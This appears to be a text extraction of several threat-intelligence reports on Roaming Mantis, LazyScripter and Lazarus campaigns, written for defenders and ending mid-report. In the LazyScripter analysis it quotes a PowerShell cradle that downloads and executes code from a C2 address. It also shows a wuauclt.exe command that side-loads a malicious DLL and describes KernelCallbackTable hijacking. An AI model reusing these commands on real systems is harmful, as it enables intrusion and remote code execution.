+Encrypted Channel: Symmetric Cryptography
+Use RC4 encryption and base64 with backdoor
+T1041
+Exfiltration Over C2 Channel
+Exfiltrates gathered data over C2 channels with backdoor
+Discovery
+Command and Control
+Exfiltration
+[1] https://github.com/DeFiCh/app
+APT Intel report: Lazarus Covet Covid19 Related Intelligence
+Lazarus Trojanized DeFi app for delivering malware
+Roaming Mantis reaches Europe
+securelist.com/roaming-mantis-reaches-europe/105596
+Authors
+Suguru Ishimaru
+Part VI. 2021 sees smishing and modified Wroba.g/Wroba.o extend
+attacks to Germany and France
+Roaming Mantis is a malicious campaign that targets Android devices and spreads mobile
+malware via smishing. We have been tracking Roaming Mantis since 2018, and published
+five blog posts about this campaign:
+s been a while since the last blog post, but we
+ve observed some new activities by Roaming
+Mantis in 2021, and some changes in the Android Trojan Wroba.g (or Wroba.o, a.k.a
+Moqhao, XLoader) that
+s mainly used in this campaign. Furthermore, we discovered that
+France and Germany were added as primary targets of Roaming Mantis, in addition to
+Japan, Taiwan and Korea.
+Geography of Roaming Mantis victims
+Our latest research into Roaming Mantis shows that the actor is focusing on expanding
+infection via smishing to users in Europe. The campaign in France and Germany was so
+active that it came to the attention of the German police and French media. They alerted
+users about smishing messages and the compromised websites used as landing pages.
+Smishing alerts on German and French websites
+Typically, the smishing messages contain a very short description and a URL to a landing
+page. If a user clicks on the link and opens the landing page, there are two scenarios: iOS
+users are redirected to a phishing page imitating the official Apple website, while the Wroba
+malware is downloaded on Android devices.
+Link from smishing message redirects to Wroba or phishing page
+Based on the telemetry we gathered between July 2021 and January 2022, Wroba.g and
+Wroba.o have been detected in many regions. The most affected countries were France,
+Japan, India, China, Germany and Korea.
+Territories affected by Trojan-Dropper.AndroidOS.Wroba.g and TrojanDropper.AndroidOS.Wroba.o (download)
+d also like to point out some very interesting data on Roaming Mantis landing page
+statistics published on Internet Week 2021 and Github by @ninoseki, an independent
+security expert based in Japan. The data shows the number of downloaded APK files, landing
+page domains, and IP addresses located in the seven regions targeted most by Roaming
+Mantis using Wroba.g/Wroba.o on a particular day in September 2021.
+The number of downloaded APK files and IPs/domains of landing pages
+The following table is a ranking based on the number of APK file downloads. The most
+affected country is France, followed by Japan, Germany and others. Some targeted regions
+seem to overlap with our telemetry mentioned above.
+Region
+Number of
+Impersonated brand
+domains
+downloads
+France
+1,246
+66,789
+Google Chrome
+Japan
+22,254
+Yamato transport
+Germany
+2,681
+Google Chrome
+Korea
+2,564
+ePOST
+United
+States
+Google Chrome
+Taiwan
+ (Yamato transport in
+Chinese)
+Turkey
+Google Chrome
+Anti-researcher tricks in the landing page
+Throughout 2020 and 2021, the criminal group behind Roaming Mantis made use of various
+obfuscation techniques in the landing page script in order to evade detection.
+Variety of obfuscation techniques in the landing page script
+In addition to obfuscation, the landing page blocks the connection from the source IP
+address in non-targeted regions and shows just a fake 
+ page for these connections.
+The user agent checking feature has not been changed in the landing page since 2019; it
+evaluates the devices by user agent, redirecting to the phishing page if the device is iOSbased, or delivering the malicious APK file if the device is Android-based.
+Technical analysis: loader module of Wroba.g/Wroba.o
+We performed in-depth analysis of Wroba.g/Wroba.o samples and observed several
+modifications in the loader module and payload, using kuronekoyamato.apk as an example.
+First, the actor changed the programming language from Java to Kotlin, a programming
+language designed to interoperate fully with Java. Then, the actor removed the multidex
+obfuscation trick. Instead of this, the data structure of the embedded payload
+(\assets\rmocpdx\15k7a5q) was also modified as follows:
+Modified data structure of embedded payload
+The first eight bytes of the data are junk code (gray), followed by the size of payload (orange),
+a single-byte XOR key (red), the encrypted payload (green) and more junk code (gray).
+Furthermore, an ELF file, \lib\armeaib-v7a\libdf.so, was embedded in the APK file: it uses
+Java Native Interface (JNI) for the second stage payload, for decryption and also part of the
+loading feature. The decryption process and algorithms are just three steps as follows:
+Various obfuscation techniques in the landing page script
+First, the loader function takes each section of data from the embedded data, except the junk
+data. Then, the encrypted payload is XORed using the embedded XOR key. After the XOR
+operation, as with previous samples, the data is decompressed using zlib to extract the
+payload, a Dalvik Executable (DEX) file.
+The following simple Python script helps to extract the payload:
+#!/usr/bin/env python3
+import sys
+import zlib
+import base64
+data = open(sys.argv[1], "rb").read()
+key = data[11]
+size = data[10] | data[9] << 8 | data[8] << 16
+enc = data[12:12+size]
+dec_x = bytes(enc[i] ^ key for i in range(len(enc)))
+dec_z = zlib.decompress(dec_x)
+with open(sys.argv[1]+".dec","wb") as fp:
+fp.write(dec_z)
+In this sample, the decrypted payload is saved as \data\data\ggk.onulfc.jb.utxdtt.bk\files\d
+and executed to infect the malicious main module on victim devices.
+Technical analysis: payload of Wroba.g/Wroba.o
+Regarding the updates to the Wroba.g/Wroba.o payload, Kaspersky experts only observed
+two minor updates in the payload part. One of them is the feature for checking the region of
+the infected device in order to display a phishing page in the corresponding language. In the
+old sample, it checked for three regions: Hong Kong, Taiwan and Japan. However, Germany
+and France were added as new regions. From this update, together with the map above, it is
+clear that Germany and France have become the main targets of Roaming Mantis with
+Wroba.g/Wroba.o.
+Another modification is in the backdoor commands. The developer added two backdoor
+commands, 
+get_photo
+ and 
+get_gallery
+, as well as removing the command
+show_fs_float_window
+. Overall, there are 21 embedded backdoor commands.
+List of embedded backdoor commands with the two new commands
+get_gallery
+ and 
+get_photo
+These new backdoor commands are added to steal galleries and photos from infected devices.
+This suggests the criminals have two aims in mind. One possible scenario is that the
+criminals steal details from such things as driver
+s licenses, health insurance cards or bank
+cards, to sign up for contracts with QR code payment services or mobile payment services.
+The criminals are also able to use stolen photos to get money in other ways, such as blackmail
+or sextortion. The other functions of the payload are unchanged. For more details, please see
+our previous blogposts mentioned above.
+Conclusion
+It has been almost four years since Kaspersky first observed the Roaming Mantis campaign.
+Since then, the criminal group has continued its attack activities by using various malware
+families such as HEUR:Trojan-Dropper.AndroidOS.Wroba, and various attack methods such
+as phishing, mining, smishing and DNS poisoning. In addition, the group has now expanded
+its geography, adding two European countries to its main target regions. We predict these
+attacks will continue in 2022 because of the strong financial motivation.
+MD5 hashes of Wroba.o
+527b5eebb6dbd3d0b777c714e707659c
+19c4be7d5d8bf759771f35dec45f267a
+2942ca2996a80ab807be08e7120c2556
+4fbc28088b9bf82dcb3bf42fe1fc1f6d
+0aaf6aa859fbdb84de20bf4bf28a02f1
+5bafe0e5a96b1a0db291cf9d57aab0bc
+ddd131d7f0918ece86cc7a68cbacb37d
+Roaming Mantis reaches Europe
+Very very lazy Lazyscripter
+s scripts: double compromise
+in a single obfuscation
+lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation
+_thespis
+In July of 2021, we identified an infection campaign targeting important European entities.
+During this investigation we could identify the threat actor behind these attacks as
+LazyScripter, an emerging APT group pointed by MalwareBytes in February 2021.
+Through our analysis, we could track their activity with precise dates in 2021 based on their
+samples. Furthermore, we could extend the intelligence upon this threat actor by identifying
+a new malware among their TTPs, and also find new elements of the infrastructure.
+Additionally, after the analysis of the samples, we discovered the usage of a free and popular
+online obfuscating tool for scripts, which would inject their own downloader for a njRAT
+sample within LazyScripter
+s malware. Meaning that, if some entity happened to be
+compromised by a one of these samples of LazyScripter, they would probably be
+compromised by two different threat actors.
+For this campaign, the malicious actor used phishing emails as the initial vector, pretending
+to be relevant international entities such as the United Nations World Tourism Organization
+(UNWTO or the International Air Transport Association (IATA). In the malicious emails, the
+actor would usually attach three compressed files: a pdf document, and two JavaScript files.
+1/14
+PDF document from spear phishing
+After the analysis of the first pdf document that ended up in our hands (
+JOB NOTICE.pdf
+UNWTO) we did not observed embedded code, or any malicious behavior. However,
+metadata revealed that it had been edited with a PDF editor referred to as 
+Foxit
+ on July
+13th 2021, less than a month before we identified this campaign.
+Producer: Foxit PhantomPDF Printer Version 9.6.0.1818
+CreationDate: Tue Nov 10 08:30:41 2020 CET
+ModDate: Tue Jul 13 22:17:50 2021 CEST
+The only technical element of real interest found in this document was the hyperlink in which
+the user is suggested to click in order to obtain more information about the fake job offer at
+UNWTO.
+2/14
+This link will open a browser and contact the domain securessl.]fit which was registered on
+July 17th 2021 and resolves in the address 192.64.]119.125, associated with the provider/webhosting Namecheap.
+It has been observed that the final URL shows up as follows, after a redirection by an HTTP
+302 response from the server, not serving any file at the moment of the analysis, but
+suggesting it was supposed to serve a .zip file (though, we did not discard IP geofence):
+Final HTTP response via hyperklink from PDF doc
+After the analysis of the HTTP traffic flow with this domain, the redirection is observed to be
+hidden behind a domain which belongs to the duckdns service for dynamic domains
+resolutions:
+Middle/Transitional HTTP request from PDF
+This domain resolves in the IP address 66.29.]130.204. Even so, the redirection through this
+address uses TLS encryption, so it is not possible to know what has occurred during the
+communication until the final redirection, which ends with the previously shown HTTP 404
+response code.
+Nevertheless, it has been indeed observed how that same IP address is associated to the
+server1
+ hostname in the domain gowaymevps.]xyz (registered on May 12th 2021).
+3/14
+Final HTTP request from PDF
+Traffic capture for the PDF hyperlink
+The other two files found along with this PDF at its arrival via phishing email have the exact
+same content (even same hash) in spite of having a different name:
+LIST OF AVAILABLE JOBS.js
+SALARY AND HIRING CONDITIONS.js
+This highly obfuscated JavaScript has the only purpose of dropping a second VBS script,
+which will be placed in the following paths:
+C:\Users\*\AppData\Roaming\Microsoft\Windows\Start
+Menu\Programs\Startup\tk.vbs
+C:\Users\*\AppData\Roaming\tk.vbs
+For those samples where the VBS script was not dropped in the startup folder, the following
+persistence mechanism would be established using the registry keys:
+HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\tk
+Details: wscript.exe //B 
+C:\Users\Lucas\AppData\Roaming\tk.vbs
+HKU\*\Software\Microsoft\Windows\CurrentVersion\Run\tk1
+Details: wscript.exe //B 
+C:\Users\Lucas\AppData\Roaming\tk.vbs
+4/14
+And here is where the real fun begins. In the initial behavior analysis of these next stage VBS
+samples, we observed C2 contact through HTTP POST requests to the port 449 of the IP
+address 45.91.92.112 resolved from stub.]ignorelist.]com.
+At this point we could find an attribution according to different reports, since the domain
+stub.]ignorelist.]com had been used by the group referred as LazyScripter in their previous
+campaign.
+The HTTP request is made using the path 
+/is-ready
+ in the URI and it includes initial
+information about the infected system within the User-Agent header value:
+VBS sample HTTP request
+Furthermore, we also observed that the vbs script also dropped to disk the following .lnk file:
+C:\Users\Lucas\AppData\Roaming\Microsoft\Windows\Start
+Menu\Programs\Startup\windowsUpdate.lnk
+This direct access points at the following Powershell execution:
+$NQJLOJWQ=(Get-ItemProperty HKCU:\Software).Sat;
+$WASUXIQO=(Get-ItemProperty HKCU:\Software).Dat;
+$NILSHSEJ=(Get-ItemProperty HKCU:\Software).Gat;
+$MYG
+The values of the registry keys which this command refers to contain this series of Powershell
+commands:
+[System.Net.WebClient]$webClient = New-Object System.Net.WebClient;
+[System.IO.Stream]$stream = $webClient.OpenRead(
+http://185.
+81.157.186/NDA/199.png
+[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList
+$stream;
+[string]$results = $sr.ReadToEnd();
+IEX $results
+Registry Keys set by VBS sample
+5/14
+Our first impression was a little bit of a surprise since we just observed the sample
+establishing a second persistence in the same startup folder for an artifact (the lnk file) that
+would use a different C2.
+After deobfuscating the VBS script we could identify the malware sample as Houdini
+s HWorm, but preceded by an interesting line, still slightly obfuscated. This single line was
+responsible for this second kind of parallel behavior (new persistence using the lnk file and a
+different C2).
+While the first mentioned IP addresses and domains or the infection chain were not easily
+linked to malicious activity through OSINT, this last one was quickly tagged as malicious
+everywhere.
+OSINT results for suspicious IP address
+Now it started to get even more interesting as we also discovered that, even though no
+domain points at this IP address at this time, it used to resolve from the hackfree.]org
+domain, which belongs to top 1 million, and seems to be some web service for offensive
+operations/techniques:
+6/14
+DNS resolutions on suspicious IP address
+Google results for hackfree.]org
+Since this finding could be a little confusing as it was for us, let
+s go back to the dropped VBS
+script. This script will be the one which implements the RAT identified as H-worm after a
+complex nested obfuscation, prepended with a confusing extra line.
+7/14
+Part of such obfuscation implied the creation of a new script object which will execute the
+deobfuscate code. For this purpose, the first part of the logic consists in identifying the
+architecture of the infected system, and then creating nested ScriptControl objects, where the
+code which implements the totality of H-worm will be added. Such code is read from an array
+which must be necessarily located in the last line of the file, commented, and which contains
+a total of 16.153 obfuscated elements.
+Content of VBS sample (tk.vbs)
+8/14
+tk.vbs deobfuscated
+Now, we could know that this VBS script acted as some sort of loader for the final stage
+artifact, which was fully implemented in the aforementioned last line, supposed to be a
+commented line in VBS. In order to compare the different samples that we gathered, we
+implemented an automatic deobfuscator to straightly obtain the deobfuscated code
+implemented in the commented line and we always found this first line prepended before the
+H-worm code.
+Final VBS payload (H-Worm)
+9/14
+Before analyzing this extra suspicious code, which we could corroborate it was not part of the
+known source code for H-Worm, the obvious thought was that these lines were added by the
+LazyScripter criminals and that they were placing dates in the script for their own reasons.
+However, it still seemed weird that they would reward the threat/forensic analysts with a
+precise date for each sample.
+After the analysis of the snippets, we observed that the samples would compare the current
+date with the hardcoded date, and if the hardcoded day arrived or passed, it would execute a
+specific function appended at the end of H-Worm
+s code. This function would only drop the
+previously described .lnk file and set the mentioned registry key values so as to download a
+sample of njRAT. Even though the author of H-Worm, known as 
+Houdini
+ had been
+connected to the development of njRAT, we knew this wasn
+t part of the known
+implementation for H-Worm, and still looked odd as a TTP from the same infection
+campaign.
+Trying to make sense out of it, we had the brainwave of using the information we had about
+this parallel behavior and make a quick check: We previously found out that they might
+have been using hackfree.]org as an online obfuscation service for VBS script, so we created
+our own dummy VBS script and submitted it to hackfree for obfuscation. Then we applied
+our implemented deobfuscator.
+Implemented dummy VBS script
+10/14
+Dummy VBS script obfuscated via hackfree website
+Deobfuscation of obfuscated dummy VBS script
+11/14
+At this point, we discovered that hackfree].org was injecting their own malware in every
+obfuscated script via their website, and this would lead in a double infection for malware
+obfuscated with hackfree.]org, or a first 
+sneaky
+ infection for those scripts that were
+obfuscated for legitimate purposes. At this last scenario we could confirm that hackfree.]org
+would be a waterhole attack.
+Finally, back to the tracked threat actor, we could distinguish between LazyScripter
+indicators of compromise, and HackFree
+s IOCs, resulting in the following diagram for this
+LazyScripter campaign main infrastructure and infection chain.
+LazyScripter
+s H-Worm campaign
+s main infrastructure
+IOCs
+12/14
+0fc8d0c3b6ab22533153b7296e597312fc8cf02e2ea92de226d93c09eaf8e579
+SHA256
+77afef33c249d4d7bb076079eff1cca2aef272c84720e7f258435728be3bf049
+SHA256
+82f6c8b52103272fcfb27ac71bd4bff76ee970dd16e5cdf3d0cfb75d10aa0609
+SHA256
+5803ded992498b5bd5045095ca1eab33be8a4f9d785fdfc8b231127edf049e72
+SHA256
+f5359df2aaa02fbfae540934f3e8f8a2ab362f7ee92dda536846afb67cea1b02
+SHA256
+c685897eb3f32ced2b6e404e424ca01d0bc8c88b83da067fbef7e7fe889cffad
+SHA256
+23ea10f4b1a73a4e8b13466fff8983110216779d2d3cefe1fc151c6bb65c3b42
+SHA256
+45.91.92.112:449
+185.81.157.186
+192.64.119.125
+157.245.250.76
+66.29.130.204
+147.182.192.241
+103.73.64.115
+http://185.81.]157.186/NDA/199.png
+http://157.245.]250.76/MORE%20INFORMATION%20ON%20OFFERS.zip
+stub.]ignorelist.com
+C2 Domain
+securessl.]fit
+C2 Domain
+gowaymevps.]xyz
+C2 Domain
+milla.publicvm.]com
+C2 Domain
+internetexploraldon.]sytes.net
+C2 Domain
+jbizgsvhzj22evqon9ezz8bmbupp1s6cprmriam1.duckdns.]org
+C2 Domain
+saqicpcgflrlgxgoxxzkbfrjuisbkozeqrmthrzo.duckdns.]org
+C2 Domain
+u1153246fov.ha004.t.justns.]ru
+C2 Domain
+HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\tk
+Reg Key
+HKU*\Software\Microsoft\Windows\CurrentVersion\Run\tk
+Reg Key
+13/14
+C:\Users\Lucas\AppData\Roaming\Microsoft\Windows\Start
+Menu\Programs\Startup\windowsUpdate.lnk
+File
+persistence
+Customers with Lab52
+s APT intelligence private feed service already have more tools and
+means of detection for this campaign.
+In case of having threat hunting service or being client of S2Grupo CERT, this intelligence
+has already been applied.
+If you need more information about Lab52
+s private APT intelligence feed service, you can
+contact us through the following link
+14/14
+North Korea
+s Lazarus APT leverages Windows Update client,
+GitHub in latest campaign
+blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latestcampaign
+Threat Intelligence Team
+January 27, 2022
+This blog was authored by Ankur Saini and Hossein Jazi
+Lazarus Group is one of the most sophisticated North Korean APTs that has been active since 2009. The
+group is responsible for many high profile attacks in the past and has gained worldwide attention. The
+Malwarebytes Threat Intelligence team is actively monitoring its activities and was able to spot a new
+campaign on Jan 18th 2022.
+In this campaign, Lazarus conducted spear phishing attacks weaponized with malicious documents that
+use their known job opportunities theme. We identified two decoy documents masquerading as American
+global security and aerospace giant Lockheed Martin.
+In this blog post, we provide technical analysis of this latest attack including a clever use of Windows
+Update to execute the malicious payload and GitHub as a command and control server. We have reported
+the rogue GitHub account for harmful content.
+Analysis
+The two macro-embedded documents seem to be luring the targets about new job opportunities at
+Lockheed Martin:
+Lockheed_Martin_JobOpportunities.docx
+Salary_Lockheed_Martin_job_opportunities_confidential.doc
+1/16
+The compilation time for both of these documents is 2020-04-24, but we have enough indicators that
+confirm that they have been used in a campaign around late December 2021 and early 2022. Some of the
+indicators that shows this attack operated recently are the domains used by the threat actor.
+Both of the documents use the same attack theme and have some common things like embedded macros
+but the full attack chain seems to be totally different. The analysis provided in the blog is mainly based on
+the 
+Lockheed_Martin_JobOpportunities.docx
+ document but we also provide brief analysis for the
+second document (Salary_Lockheed_Martin_job_opportunities_confidential.doc) at the end of this blog.
+Figure 1: Document Preview
+Attack Process
+The below image shows the full attack process which we will discuss in detail in this article. The attack
+starts by executing the malicious macros that are embedded in the Word document. The malware
+performs a series of injections and achieves startup persistence in the target system. In the next section
+we will provide technical details about various stages of this attack and its payload capabilities.
+2/16
+Figure 2: Attack Process
+Macros: Control flow hijacking through KernelCallbackTable
+Figure 3: Macros Snippet
+3/16
+The above code uses a very unusual and lesser known technique to hijack the control flow and execute
+malicious code. The malware retrieves the address of the 
+WMIsAvailableOffline
+ function from
+wmvcore.dll
+, then it changes the memory protection permissions for code in 
+WMIsAvailableOffline
+and proceeds to overwrite the code in memory with the malicious base64 decoded shell-code.
+Another interesting thing happening in the above code is the control flow hijacking through the
+KernelCallbackTable member of the PEB. A call to NtQueryInformationProcess is made with
+ProcessBasicInformation class as the parameter which helps the malware to retrieve the address of PEB
+and thus retrieving the KernelCallbackTable pointer.
+Figure 4: KernelCallbackTable in memory
+KernelCallbackTable is initialized to an array of callback functions when user32.dll is loaded into
+memory, which are used whenever a graphical call (GDI) is made by the process. To hijack the control
+flow, malware replaces the USER32!_fnDWORD callback in the table with the malicious
+WMIsAvailableOffline function. Once the flow is hijacked and malicious code is executed the rest of the
+code takes care of restoring the KernelCallbackTable to its original state.
+Shellcode Analysis
+The shellcode loaded by the macro contains an encrypted DLL which is decrypted at runtime and then
+manually mapped into memory by the shellcode. After mapping the DLL, the shellcode jumps to the entry
+point of that DLL. The shellcode uses some kind of custom hashing method to resolve the APIs. We used
+hollows_hunter to dump the DLL and reconstruct the IAT once it is fully mapped into memory.
+4/16
+Figure 5: API resolving
+The hashing function accepts two parameters: the hash of the DLL and the hash of the function we are
+looking for in that DLL. A very simple algorithm is used for hashing APIs. The following code block shows
+this algorithm:
+def string_hashing(name):
+hash = 0
+for i in range(0, len(name)):
+hash = 2 * (hash + (ord(name[i]) | 0x60))
+return hash
+The shellcode and all the subsequent inter-process Code/DLL injections in the attack chain use the same
+injection method as described below.
+Code Injection
+The injection function is responsible for resolving all the required API calls. It then opens a handle to the
+target process by using the OpenProcess API. It uses the SizeOfImage field in the NT header of the DLL to
+be injected into allocated space into the target process along with a separate space for the init_dll
+function. The purpose of the init_dll function is to initialize the injected DLL and then pass the control
+flow to the entry point of the DLL. One thing to note here is a simple CreateRemoteThread method is used
+to start a thread inside the target process unlike the KernelCallbackTable technique used in our macro.
+5/16
+Figure 6: Target Process Injection through CreateRemoteThread
+Malware Components
+stage1_winword.dll 
+ This is the DLL which is mapped inside the Word process. This DLL is
+responsible for restoring the original state of KernelCallbackTable and then injecting
+stage2_explorer.dll into the explorer.exe process.
+Figure 7: Restoring KernelCallbackTable to original state
+stage2_explorer.dll 
+ The winword.exe process injects this DLL into the explorer.exe process. With
+brief analysis we find out that the .data section contains two additional DLLs. We refer to them as
+drops_lnk.dll and stage3_runtimebroker.dll. By analyzing stage2_explorer.dll a bit further we can
+easily understand the purpose of this DLL.
+6/16
+Figure 8: stage2_explorer main routine
+The above code snippet shows the main routine of stage2_explorer.dll. As you can see it checks for the
+existence of 
+C:\W
+ndows\system32\wuaueng.dll
+ and then if it doesn
+t exist it takes its path to drop
+additional files. It executes the drops_lnk.dll in the current process and then tries to create the
+RuntimeBroker process and if successful in creating RuntimeBroker, it injects stage3_runtimebroker.dll
+into the newly created process. If for some reason process creation fails, it just executes
+stage3_runtimebroker.dll in the current explorer.exe process.
+7/16
+drops_lnk.dll 
+ This DLL is loaded and executed inside the explorer.exe process, it mainly drops the
+lnk file (WindowsUpdateConf.lnk) into the startup folder and then it checks for the existence of
+wuaueng.dll in the malicious directory and manually loads and executes it from the disk if it exists.
+The lnk file (WindowsUpdateConf.lnk) executes 
+C:\Windows\system32\wuauclt.exe
+/UpdateDeploymentProvider C:\W
+ndows\system32\wuaueng.dll /RunHandlerComServer. This
+is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update
+Client to bypass security detection mechanisms. With this method, the threat actor can execute its
+malicious code through the Microsoft Windows Update client by passing the following arguments:
+/UpdateDeploymentProvider, Path to malicious dll and /RunHandlerComServer argument after the
+dll.
+Figure 9: Startup folder path
+Figure 10: WindowsUpdateConf lnk
+stage3_runtimebroker.dll 
+ This DLL is responsible for creating the malicious directory
+C:\W
+ndows\system32\
+) and then drops the wuaueng.dll in that directory, furthermore it sets
+the attributes of the directory to make it hidden.
+Figure 11: stage3_runtimebroker main routine
+wuaueng.dll 
+ This is one of the most important DLLs in the attack chain. This malicious DLL is
+signed with a certificate which seems to belong to 
+SAMOYAJ LIMITED
+, Till 20 January 2022, the
+DLL had (0/65) AV detections and presently only 5/65 detect it as malicious. This DLL has
+embedded inside another DLL which contains the core module (core_module.dll) of this malware
+responsible for communicating with the Command and Control (C2) server. This DLL can be loaded
+into memory in two ways:
+ If drops_lnk.dll loads this DLL into explorer.exe then it loads the core_module.dll and then
+executes it
+ If it is being executed from wuauclt.exe, then it retrieves the PID of explorer.exe and injects the
+core_module.dll into that process.
+8/16
+Figure 12: wuaueng.dll main routine
+The Core module and GitHub as a C2
+Rarely do we see malware using GitHub as C2 and this is the first time we
+ve observed Lazarus leveraging
+it. Using Github as a C2 has its own drawbacks but it is a clever choice for targeted and short term attacks
+as it makes it harder for security products to differentiate between legitimate and malicious connections.
+While analyzing the core module we were able to get the required details to access the C2 but
+unfortunately it was already cleaned and we were not able to get much except one of the additional
+modules loaded by the core_module.dll remotely (thanks to @jaydinbas who shared the module with us).
+9/16
+Figure 13: core_module.dll C2 communication loop
+There seems to be no type of string encoding used so we can clearly see the strings which makes the
+analysis easy. get_module_from_repo uses the hardcoded username, repo_name, directory, token to
+make a http request to GitHub and retrieves the files present in the 
+images
+ directory of the repository.
+10/16
+Figure 14: get_module_from_repo function
+The HTTP request retrieves contents of the files present in the repository with an interesting validation
+which checks that the retrieved file is a PNG. The file that was earlier retrieved was named 
+readme.png
+this PNG file has one of the malicious modules embedded in it. The strings in the module reveal that the
+module
+s original name is 
+GetBaseInfo.dll
+. Once the malware retrieves the module it uses the
+map_module function to map the DLL and then looks for an exported function named
+GetNumberOfMethods
+ in the malicious module. It then executes GetNumberOfMethods and saves the
+result obtained by the module. This result is committed to the remote repo under the metafiles directory
+with a filename denoting the time at which the module was executed. This file committed to the repo
+contains the result of the commands executed by the module on the target system. To commit the file the
+malware makes a PUT HTTP request to Github.
+Additional Modules (GetBaseInfo.dll)
+This was the only module which we were able to get our hands on. Only a single module does limit us in
+finding all the capabilities this malware has. Also its a bit difficult to hunt for these modules as they never
+really touch the disk which makes them harder to detect by AVs. The only way to get the modules would
+be to access the C2 and download the modules while they are live. Coming back to this module, it has very
+limited capabilities. It retrieves the Username, ComputerName and a list of all the running processes on
+the system and then returns the result so it can be committed to the C2.
+11/16
+Figure 15: GetBaseInfo module retrieving the information
+GitHub Account
+The account with the username 
+DanielManwarningRep
+ is used to operate the malware. The account
+was created on January 17th, 2022 and other than this we were not able to find any information related to
+the account.
+Figure 16: Account details from the token used
+12/16
+Second Malicious Document used in the campaign
+Malicious Document 
+ Salary_Lockheed_Martin_job_opportunities_confidential.doc
+(0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1)
+The initial attack vector used in this document is similar to the first document but the malware dropped
+by the macro is totally different. Sadly, the C2 for this malware was down by the time we started analyzing
+This document uses KernelCallbackTable as well to hijack the control flow just like our first module, the
+injection technique used by the shellcode also resembles the first document. The major difference in this
+document is that it tries to retrieve a remote HTML page and then executes it using mshta.exe. The
+remote HTML page is located at https[:]//markettrendingcenter[.]com/member.htm and throws a 404
+Not Found which makes it difficult for us to analyze this document any further.
+Figure 17: Shellcode
+Attribution
+There are multiple indicators that suggest that this campaign has been operated by the Lazarus threat
+actor. In this section we provide some of the indicators that confirm the actor behind this attack is
+Lazarus:
+Using job opportunities as template is the known method used by Lazarus to target its victims. The
+documents created by this actor are well designed and contain a large icon for a known company
+such as LockHeed Martin, BAE Systems, Boeing and Northrop Grumman in the template.
+In this campaign the actor has targeted people that are looking for job opportunities at Lockheed
+Martin. Targeting the defense industry and specifically Lockheed Martin is a known target for this
+actor.
+The document
+s metadata used in this campaign links them to several other documents used by this
+actor in the past.
+13/16
+Figure 18: Attribution based on metadata
+Using Frame1_Layout for macro execution and using lesser known API calls for shellcode execution
+is known to be used by Lazarus.
+We also were able to find infrastructure overlap between this campaign and past campaigns of
+Lazarus (Figure 19).
+Figure 19: Connection with past campaigns
+Conclusion
+Lazarus APT is one of the advanced APT groups that is known to target the defense industry. The group
+keeps updating its toolset to evade security mechanisms. In this blog post we provided a detailed analysis
+about the new campaign operated by this actor. Even though they have used their old job theme method,
+they employed several new techniques to bypass detections:
+Use of KernelCallbackTable to hijack the control flow and shellcode execution
+Use of the Windows Update client for malicious code execution
+Use of GitHub for C2 communication
+14/16
+IOCs:
+Maldocs:
+0d01b24f7666f9bccf0f16ea97e41e0bc26f4c49cdfb7a4dabcc0a494b44ec9b
+Lockheed_Martin_JobOpportunities.docx
+0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1
+Salary_Lockheed_Martin_job_opportunities_confidential.doc
+Domains:
+markettrendingcenter.com
+lm-career.com
+Payloads:
+Name
+Sha256
+readme.png
+4216f63870e2cdfe499d09fce9caa301f9546f60a69c4032cb5fb6d5ceb9af32
+wuaueng.dll
+829eceee720b0a3e505efbd3262c387b92abdf46183d51a50489e2b157dac3b1
+stage1_winword.dll
+f14b1a91ed1ecd365088ba6de5846788f86689c6c2f2182855d5e0954d62af3b
+stage2_explorer.dll
+660e60cc1fd3e155017848a1f6befc4a335825a6ae04f3416b9b148ff156d143
+drops_lnk.dll
+11b5944715da95e4a57ea54968439d955114088222fd2032d4e0282d12a58abb
+stage3_runtimebroker.dll
+9d18defe7390c59a1473f79a2407d072a3f365de9834b8d8be25f7e35a76d818
+core_module.dll
+c677a79b853d3858f8c8b86ccd8c76ebbd1508cc9550f1da2d30be491625b744
+GetBaseInfo.dll
+5098ec21c88e14d9039d232106560b3c87487b51b40d6fef28254c37e4865182
+15/16
+16/16
+New spear phishing campaign targets Russian dissidents
+blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents
+Threat Intelligence Team
+March 29, 2022
+This blog post was authored by Hossein Jazi.
+ Updated to clarify the two different campaigns (Cobalt Strike and Rat)
+Several threat actors have taken advantage of the war in Ukraine to launch a number of cyber
+attacks. The Malwarebytes Threat Intelligence team is actively monitoring these threats and
+has observed activities associated with the geopolitical conflict.
+More specifically, we
+ve witnessed several APT actors such as Mustang Panda, UNC1151 and
+SCARAB that have used war-related themes to target mostly Ukraine. We
+ve also observed
+several different wipers and cybercrime groups such as FormBook using the same tactics.
+Beside those known groups we saw an actor that used multiple methods to deploy a variants
+of Quasar Rat. These methods include using documents that exploit CVE-2017-0199 and
+CVE-2021-40444, macro-embedded documents, and executables.
+On March 23, we identified a new campaign that instead of targeting Ukraine is focusing on
+Russian citizens and government entities. Based on the email content it is likely that the
+threat actor is targeting people that are against the Russian government.
+The spear phishing emails are warning people that use websites, social networks, instant
+messengers and VPN services that have been banned by the Russian Government and that
+criminal charges will be laid. Victims are lured to open a malicious attachment or link to find
+out more, only to be infected with Cobalt Strike.
+Spear phishing as the main initial infection vector
+1/15
+These emails pretend to be from the 
+Ministry of Digital Development, Telecommunications
+and Mass Communications of the Russian Federation
+ and 
+Federal Service for Supervision
+of Communications, Information Technology and Mass Communications
+ of Russia.
+We have observed two documents associated with this campaign that both exploit CVE-202140444. Even though CVE-2021-40444 has been used in a few attacks in the past, to the best
+of our knowledge this was the first time we observed an attacker use RTF files instead of
+Word documents to exploit this vulnerability. Also the actor leveraged a new variant of this
+exploit called CABLESS in this attack. Sophos has reported an attack that used a Cabless
+variant of this exploit but in that case the actor has not used the RTF file and also used RAR
+file to prepend the WSF data to it.
+Email with RTF file:
+ (Federal Service for Supervision of
+Communications, Information Technology and Mass Communications)
+ (A warning! Ministry of Digital
+Development, Telecommunications and Mass Media of the Russian Federation)
+Figure 1: Phishing template
+Figure 2: Phishing template
+2/15
+Email with archive file:
+. (informing the public about critical changes in the field of digital
